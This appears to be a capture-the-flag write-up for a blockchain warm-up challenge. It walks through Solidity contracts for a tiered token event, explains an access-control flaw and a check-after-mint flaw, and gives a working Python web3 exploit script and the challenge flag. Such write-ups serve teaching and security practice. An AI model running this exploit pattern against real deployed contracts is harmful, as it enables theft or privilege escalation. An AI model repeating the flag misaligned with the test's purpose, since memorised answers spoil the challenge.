tge

description
Author: hygge
i dont understand what tge is so all this is very scuffed, but this all hopefully for you to warmup, pls dont be mad Start challenge from: http://challenges.1pc.tf:50000/c2c2026-quals-blockchain-tge
Attachments
Setup.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {TGE} from "./TGE.sol";
import {Token} from "./Token.sol";
contract Setup {
TGE public tge;
Token public token;
address public player;
constructor(address _player) {
player = _player;
token = new Token("TOK", "TOK", 100);
tge = new TGE(address(token), 15, 35, 50);
tge.setTgePeriod(true);
token.mint(player, 15);
}
function enableTge(bool _tge) public {
tge.setTgePeriod(_tge);
}
function isSolved() external view returns (bool) {
require(tge.userTiers(player) == 3, "not yet");
return true;
}
}TGE.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Token} from "./Token.sol";
contract TGE {
Token public immutable token;
uint256 public constant TIER_1 = 1;
uint256 public constant TIER_2 = 2;
uint256 public constant TIER_3 = 3;
address public owner;
mapping(uint256 => uint256) public maxSupply;
mapping(uint256 => uint256) public mintPrice;
mapping(uint256 => uint256) public totalSupply;
mapping(address => mapping(uint256 => uint256)) public balance;
mapping(uint256 => uint256) public preTGESupply; // snapshot taken ONCE
mapping(address => mapping(uint256 => uint256)) public preTGEBalance;
mapping(address => uint256) public userTiers;
uint256[] public tierIds;
bool public isTgePeriod;
bool public tgeActivated;
modifier onlyOwner() {
require(msg.sender == owner, "only owner");
_;
}
constructor(
address _token,
uint256 maxSupplyTier1,
uint256 maxSupplyTier2,
uint256 maxSupplyTier3
) {
require(_token != address(0), "token=0");
require(maxSupplyTier1 > 0 && maxSupplyTier2 > 0 && maxSupplyTier3 > 0, "bad max");
token = Token(_token);
owner = msg.sender;
maxSupply[TIER_1] = maxSupplyTier1;
maxSupply[TIER_2] = maxSupplyTier2;
maxSupply[TIER_3] = maxSupplyTier3;
mintPrice[TIER_1] = maxSupplyTier1;
tierIds.push(TIER_1);
tierIds.push(TIER_2);
tierIds.push(TIER_3);
}
function setTgePeriod(bool _isTge) external onlyOwner {
if (!_isTge && isTgePeriod && !tgeActivated) {
tgeActivated = true;
_snapshotPreTGESupply();
}
isTgePeriod = _isTge;
}
function buy() external {
require(isTgePeriod, "TGE closed");
require(userTiers[msg.sender] == 0, "already registered");
require(token.transferFrom(msg.sender, address(this), mintPrice[TIER_1]), "payment failed");
_mint(msg.sender, TIER_1, 1);
userTiers[msg.sender] = TIER_1;
}
function upgrade(uint256 tier) external {
require(tier <= 3 && tier >= 2);
require(userTiers[msg.sender]+1 == tier);
require(tgeActivated && isTgePeriod);
_burn(msg.sender, tier-1, 1);
_mint(msg.sender, tier, 1);
require(preTGEBalance[msg.sender][tier] > preTGESupply[tier], "not eligible");
userTiers[msg.sender] = tier;
}
function _mint(address to, uint256 tier, uint256 quantity) internal {
_validateTier(tier);
require(quantity > 0, "qty=0");
require(totalSupply[tier] + quantity <= maxSupply[tier], "max supply");
totalSupply[tier] += quantity;
balance[to][tier] += quantity;
if (isTgePeriod) {
preTGEBalance[to][tier] += quantity;
}
}
function _burn(address from, uint256 tier, uint256 quantity) internal {
_validateTier(tier);
require(balance[from][tier] >= quantity, "insufficient");
balance[from][tier] -= quantity;
totalSupply[tier] -= quantity;
}
function _snapshotPreTGESupply() internal {
for (uint256 i = 0; i < tierIds.length; i++) {
uint256 id = tierIds[i];
preTGESupply[id] = totalSupply[id];
}
}
function _validateTier(uint256 tier) internal pure {
require(tier == TIER_1 || tier == TIER_2 || tier == TIER_3, "invalid tier");
}
}Token.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.23;
import { ERC20 } from "./lib//ERC20.sol";
import { Ownable } from "./lib/Ownable2Step.sol";
contract Token is ERC20, Ownable {
uint256 public constant MAX_SUPPLY = 1_000_000_000 * 10 ** 18;
error MaxSupplyExceeded();
constructor(string memory name, string memory symbol, uint256 initialSupply)
ERC20(name, symbol)
Ownable(msg.sender)
{
require(initialSupply <= MAX_SUPPLY, MaxSupplyExceeded());
_mint(msg.sender, initialSupply);
}
function mint(address account, uint256 amount) external onlyOwner {
require(totalSupply() + amount <= MAX_SUPPLY, MaxSupplyExceeded());
_mint(account, amount);
}
}Overview
Brief summary
- The TGE challenge is a layered token-generation event (3 tiers). The goal of the exploit is to make
userTiers(player) == 3so thatSetup.isSolved()returns true. ✅
Main contracts
Setup.sol— deploys and configures the system (mints tokens to the player, enables initial TGE).TGE.sol— handles buy/upgrade tier logic, pre‑TGE snapshot, and eligibility rules.Token.sol— simple ERC20 token (owner can mint).
Important mechanics (high‑level)
- The player receives
15tokens fromSetupandmintPrice[TIER_1] == 15→ enough tobuy()Tier 1. setTgePeriod(false)(owner) takes a snapshot once (preTGESupply) when TGE is disabled for the first time; thetgeActivatedflag prevents repeated snapshots.- Every
mintwhileisTgePeriod == trueincreasespreTGEBalance[addr][tier](the snapshot only recordstotalSupplywhen TGE is disabled). upgrade(tier)performs: burn previous tier → mint new tier → then checkspreTGEBalance[msg][tier] > preTGESupply[tier]before increasinguserTiers.
Vulnerability — root cause (short)
- ⚠️ The eligibility check (
preTGEBalance > preTGESupply) is performed after minting insideupgrade()— allowing the same mint to satisfy the requirement if the snapshot showspreTGESupply[tier]is low (e.g., 0). - The snapshot is taken only once when the owner disables TGE, allowing the attacker to ensure
preTGESupplyfor higher tiers = 0.
Exploit (summary)
approve()+buy()Tier 1 (using the 15 tokens provided by Setup).- Trigger snapshot: owner calls
enableTge(false)→ snapshot occurs. - Re‑enable TGE:
enableTge(true). - Call
upgrade(2)thenupgrade(3)— internal mint makespreTGEBalance>preTGESupply, so the upgrade succeeds.
Why this solves the challenge
- After two upgrades,
userTiers(player)becomes3andSetup.isSolved()is satisfied. 🎯
Recommended fix (short)
- Move the eligibility check before
_mint, or snapshotpreTGEBalance/preTGESupplyin a way that cannot be manipulated during upgrade.
Smart Contract Analysis
Objective & logic summary
- The goal of the TGE contract is to provide a
buy()→upgrade()flow untiluserTiers[player] == 3. - The pre‑TGE snapshot is taken once when the owner disables TGE (
setTgePeriod(false)); upgrade eligibility depends on comparingpreTGEBalancevspreTGESupply.
Important variables & functions
isTgePeriod— indicates whether TGE is open for mint/buy.tgeActivated— set when the snapshot is taken (true after the owner disables TGE for the first time).preTGESupply[tier]— snapshot oftotalSupplyfor each tier at snapshot time.preTGEBalance[addr][tier]— incremented when mint occurs duringisTgePeriod.Setup.enableTge()— exposesTGE.setTgePeriod()(owner proxy); anyone can toggle becauseSetupis the owner ofTGE.upgrade(tier)— performs_burnthen_mint, then checkspreTGEBalance > preTGESupply.
Why the bug can be exploited (root cause)
There is a combination of several design flaws that allow an attacker to upgrade tiers illegitimately:
1. Owner privilege exposed via Setup contract (Critical)
The TGE contract restricts the following function to the owner:
function setTgePeriod(bool _isTge) external onlyOwnerThe owner of the TGE contract is the Setup contract. However, Setup exposes the following function publicly:
function enableTge(bool _tge) public {
tge.setTgePeriod(_tge);
}Because this function has no access control, an attacker can indirectly call an owner‑only function. This allows the attacker to:
- disable TGE at any time,
- trigger the
preTGESupplysnapshot, - and re‑enable TGE as needed for the exploit.
This is a privilege escalation vulnerability.
2. Snapshot design flaw — preTGEBalance can still change after snapshot
The snapshot only stores preTGESupply:
preTGESupply[id] = totalSupply[id];However, preTGEBalance can still increase after the snapshot:
if (isTgePeriod) {
preTGEBalance[to][tier] += quantity;
}As a result, the attacker can increase preTGEBalance after the snapshot, meaning the snapshot no longer represents a valid historical state.
3. Eligibility check is performed after mint
Inside the upgrade() function:
_burn(msg.sender, tier-1, 1);
_mint(msg.sender, tier, 1);
require(preTGEBalance[msg.sender][tier] > preTGESupply[tier], "not eligible");Because
_mint()is called before the eligibility check, the mint itself immediately increasespreTGEBalance, allowing the eligibility condition to be satisfied using the same mint.
Exploit flow (short state transition)
-
Player calls
buy()Tier‑1 (using 15 TOK) →preTGEBalance[player][1] = 1,totalSupply[1]increases. -
Call
setup.enableTge(false)→tgeActivated=true, snapshot taken:preTGESupply[2]=0,preTGESupply[3]=0. -
Call
setup.enableTge(true)→isTgePeriod=trueagain. -
upgrade(2):_burnTier‑1,_mintTier‑2 (addspreTGEBalance[player][2]becauseisTgePeriod==true),require(preTGEBalance[player][2] > preTGESupply[2])→1 > 0→ success.
-
upgrade(3)same process →userTiers[player]==3→ challenge solved.
Impact & severity
- This logic allows tier escalation without the intended pre‑TGE condition — severity: High.
Recommended fixes (concrete)
- Preferred — do not update
preTGEBalanceafter snapshot:
if (isTgePeriod && !tgeActivated) {
preTGEBalance[to][tier] += quantity;
}- Alternative/additional: move the eligibility check before performing
_mint()inupgrade()so minting cannot influence the intended check. - Restrict proxy owner exposure: change
Setup.enableTge()toonlyOwneror remove the public forwarder. - Add unit tests for snapshot + reenable + upgrade scenarios (must revert if eligibility is not met).
Solution Steps
Step 0 — Access RPC Node
- open 'http://challenges.1pc.tf:50000/c2c2026-quals-blockchain-tge'
- copy the port and open the URL with that port
http://challenges.1pc.tf:<PORT>/ - solve the PoW (solve in browser or curl) to obtain RPC node credentials
- use those credentials to connect to the RPC (example: Web3 HTTP provider)

Step 1 — Preparation: approve & buy Tier 1
- ensure the wallet/privkey used is
player(Setup already minted 15 TOK to player) - call
token.approve(tge_address, 15)from the player account - call
tge.buy()— paysmintPrice[TIER_1]and receivesTier 1
Step 2 — Trigger snapshot (pre‑TGE)
- owner (via
Setup.enableTge(false)) disables TGE once →tgeActivated = trueand_snapshotPreTGESupply()is called - re‑enable TGE with
Setup.enableTge(true)so the TGE period is open again (for the next mint/upgrade)
Step 3 — Upgrade to Tier 2
-
call
tge.upgrade(2)from the player- internal:
_burnTier‑1,_mintTier‑2 (addspreTGEBalance[player][2]ifisTgePeriod==true), then checkspreTGEBalance > preTGESupply - because
preTGESupply[2]is usually = 0 (snapshot), the condition is satisfied →userTiers[player] = 2
- internal:
-
verify:
tge.userTiers(player)==2
Step 4 — Upgrade to Tier 3
- call
tge.upgrade(3)(same process as Step 3) - verify:
tge.userTiers(player)==3
Step 5 — Verify solve & retrieve flag
- call
setup.isSolved()→ must returntrue - check launcher / event logs to obtain the flag
Short note
- Root cause of exploit: the
preTGEBalance > preTGESupplycheck is evaluated after_mintinupgrade()and the snapshot is taken only once — this combination can be manipulated. - For automated steps see
solver.py(below).
Exploit Script (solver.py)
from web3 import Web3
# Data dari soal
RPC_URL = "YOUR_RPC_URL"
PRIVKEY = "YOUR_PRIVATE_KEY"
SETUP_CONTRACT_ADDR = "SETUP_ADDRESS"
w3 = Web3(Web3.HTTPProvider(RPC_URL))
account = w3.eth.account.from_key(PRIVKEY)
# ABI Minimal
setup_abi = [
{"inputs":[],"name":"tge","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},
{"inputs":[],"name":"token","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"bool","name":"_tge","type":"bool"}],"name":"enableTge","outputs":[],"stateMutability":"nonpayable","type":"function"}
]
tge_abi = [
{"inputs":[],"name":"buy","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"uint256","name":"tier","type":"uint256"}],"name":"upgrade","outputs":[],"stateMutability":"nonpayable","type":"function"}
]
token_abi = [
{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}
]
setup_contract = w3.eth.contract(address=SETUP_CONTRACT_ADDR, abi=setup_abi)
tge_addr = setup_contract.functions.tge().call()
token_addr = setup_contract.functions.token().call()
tge_contract = w3.eth.contract(address=tge_addr, abi=tge_abi)
token_contract = w3.eth.contract(address=token_addr, abi=token_abi)
def send_tx(tx_func):
tx = tx_func.build_transaction({
'from': account.address,
'nonce': w3.eth.get_transaction_count(account.address),
'gasPrice': w3.eth.gas_price
})
signed = w3.eth.account.sign_transaction(tx, PRIVKEY)
hash = w3.eth.send_raw_transaction(signed.raw_transaction)
return w3.eth.wait_for_transaction_receipt(hash)
# 1. Approve & Buy Tier 1
print("[*] Approving tokens...")
send_tx(token_contract.functions.approve(tge_addr, 15))
print("[*] Buying Tier 1...")
send_tx(tge_contract.functions.buy())
# 2. Snapshot (Set TGE false lalu true lagi)
print("[*] Triggering snapshot (TGE false)...")
send_tx(setup_contract.functions.enableTge(False))
print("[*] Re-enabling TGE...")
send_tx(setup_contract.functions.enableTge(True))
# 3. Upgrade ke Tier 2
print("[*] Upgrading to Tier 2...")
send_tx(tge_contract.functions.upgrade(2))
# 4. Upgrade ke Tier 3
print("[*] Upgrading to Tier 3...")
send_tx(tge_contract.functions.upgrade(3))
print("[+] Done! Check isSolved on website.")python3 solver.py

This script performs the following steps:
- Approves the token (
approve) from the player to theTGEcontract. - Purchases
Tier 1usingbuy()(using the 15 TOK provided bySetup). - Triggers a snapshot by calling
enableTge(false)and then re‑enabling it withenableTge(true)(the snapshot occurs when TGE is disabled). - Calls
upgrade(2)— the internal mint causespreTGEBalance[addr][2] > preTGESupply[2], allowing the upgrade to succeed. - Calls
upgrade(3)to reachuserTiers == 3. - Checks
isSolved()on theSetupcontract to verify and retrieve the flag.
After that, we can obtain the flag from the blockchain launcher.

flag
C2C{just_a_warmup_from_someone_who_barely_warms_up}